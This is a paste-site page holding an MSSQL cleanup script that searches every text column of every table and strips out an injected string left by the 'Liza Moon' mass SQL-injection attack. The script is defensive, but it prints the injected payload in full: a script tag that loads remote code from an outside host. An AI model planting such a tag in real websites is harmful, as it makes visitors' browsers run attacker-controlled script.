Guest

MSSQL Find and Replace Liza Moon

By: a guest on Mar 31st, 2011  |  syntax: SQL  |  size: 1.83 KB  |  hits: 453  |  expires: Never
download  |  raw  |  embed  |  report abuse
Copied
  1. ###3. Find, CONVERT, AND REPLACE ALL string entries
  2.  
  3.  
  4.  
  5. SET NOCOUNT ON
  6.  
  7. DECLARE @stringToFind VARCHAR(100)
  8. DECLARE @stringToReplace VARCHAR(100)
  9. DECLARE @schema sysname
  10. DECLARE @TABLE sysname
  11. DECLARE @COUNT INT
  12. DECLARE @sqlCommand VARCHAR(8000)
  13. DECLARE @WHERE VARCHAR(8000)
  14. DECLARE @columnName sysname
  15. DECLARE @object_id INT
  16.  
  17. SET @stringToFind = '</title><script src=http://lizamoon.com/ur.php></script>'
  18. SET @stringToReplace = ''
  19.  
  20. DECLARE TAB_CURSOR CURSOR  FOR
  21. SELECT   B.NAME      AS SCHEMANAME,
  22. A.NAME      AS TABLENAME,
  23. A.OBJECT_ID
  24. FROM     sys.objects A
  25. INNER JOIN sys.schemas B
  26. ON A.SCHEMA_ID = B.SCHEMA_ID
  27. WHERE    TYPE = 'U'
  28. ORDER BY 1
  29.  
  30. OPEN TAB_CURSOR
  31.  
  32. FETCH NEXT FROM TAB_CURSOR
  33. INTO @schema,
  34. @TABLE,
  35. @object_id
  36.  
  37. WHILE @@FETCH_STATUS = 0
  38. BEGIN
  39. DECLARE COL_CURSOR CURSOR FOR
  40. SELECT A.NAME
  41. FROM   sys.COLUMNS A
  42. INNER JOIN sys.types B
  43. ON A.SYSTEM_TYPE_ID = B.SYSTEM_TYPE_ID
  44. WHERE  OBJECT_ID = @object_id
  45. AND IS_COMPUTED = 0
  46. AND B.NAME IN ('char','nchar','nvarchar','varchar','text','ntext')
  47.  
  48. OPEN COL_CURSOR
  49.  
  50.  
  51. FETCH NEXT FROM COL_CURSOR
  52. INTO @columnName
  53.  
  54. WHILE @@FETCH_STATUS = 0
  55. BEGIN
  56. SET @sqlCommand = 'UPDATE ' + @schema + '.' + @TABLE + ' SET [' + @columnName + '] = REPLACE(convert(nvarchar(max),[' + @columnName + ']),''' + @stringToFind + ''',''' + @stringToReplace + ''')'
  57.  
  58. SET @WHERE = ' WHERE [' + @columnName + '] LIKE ''%' + @stringToFind + '%'''
  59.  
  60. EXEC( @sqlCommand + @WHERE)
  61.  
  62. SET @COUNT = @@ROWCOUNT
  63.  
  64. IF @COUNT > 0
  65. BEGIN
  66. PRINT @sqlCommand + @WHERE
  67. PRINT 'Updated: ' + CONVERT(VARCHAR(10),@COUNT)
  68. PRINT '----------------------------------------------------'
  69. END
  70.  
  71. FETCH NEXT FROM COL_CURSOR
  72. INTO @columnName
  73. END
  74.  
  75. CLOSE COL_CURSOR
  76. DEALLOCATE COL_CURSOR
  77.  
  78. FETCH NEXT FROM TAB_CURSOR
  79. INTO @schema,
  80. @TABLE,
  81. @object_id
  82. END
  83.  
  84. CLOSE TAB_CURSOR
  85. DEALLOCATE TAB_CURSOR